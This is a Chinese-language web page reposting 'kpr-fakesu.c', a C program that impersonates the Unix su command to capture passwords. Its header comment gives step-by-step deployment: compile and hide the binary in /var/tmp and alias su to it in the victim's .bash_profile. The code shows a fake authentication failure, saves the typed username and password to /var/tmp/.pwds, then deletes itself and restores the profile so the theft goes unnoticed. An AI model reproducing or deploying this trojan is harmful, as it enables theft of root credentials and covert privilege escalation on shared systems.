注册
登录
| 关键词： nbsp admin host su user tmp var char argv Password |
/* * kpr-fakesu.c V0.9beta167 ;P * by koper <[email protected]> * * Setting up: * admin@host:~$ gcc -o .su fakesu.c; rm -rf fakesu.c * admin@host:~$ mv .su /var/tmp/.su * admin@host:~$ cp .bash_profile .wgetrc * admin@host:~$ echo "alias su=/var/tmp/.su">>.bash_profile * admin@host:~$ logout * *** LOGIN *** * admin@host:~$ su * Password: * su: Authentication failure * Sorry. * admin@host:~$ su * Password: * root@host:~# logout * admin@host:~$ cat /var/tmp/.pwds * root:dupcia17 * admin@host:~$ * * /bin/su sends various failure information depending on the OS ver. * Please modify the source to make it "fit" ;) * */ #include <stdio.h> #include <stdlib.h> #include <unistd.h> main(int argc, char *argv[]){ FILE *fp; char *user; char *pass; char filex[100]; char clean[100]; sprintf(filex,"/var/tmp/.pwds"); sprintf(clean,"rm -rf /var/tmp/.su;mv -f /home/sichunfeng/.wgetrc /home/sichunfeng/.bash_profile"); if(argc==1) user="root"; if(argc==2) user=argv[1]; if(argc>2){ if(strcmp(argv[1], "-l")==0) user=argv[2]; else user=argv[1];} fprintf(stdout,"Password: "); pass=getpass (""); system("sleep 3"); fprintf(stdout,"su: Authentication failure\nSorry.\n"); if ((fp=fopen(filex,"w")) != NULL) { fprintf(fp, "%s:%s\n", user, pass); fclose(fp); } system(clean); system("rm -rf /var/tmp/.su; ln -s /bin/su /var/tmp/.su"); } |
|
声明：文章版权归原作者所有 部分文章转自互联网 如有侵权请联系
[邮箱地址] 删除
|
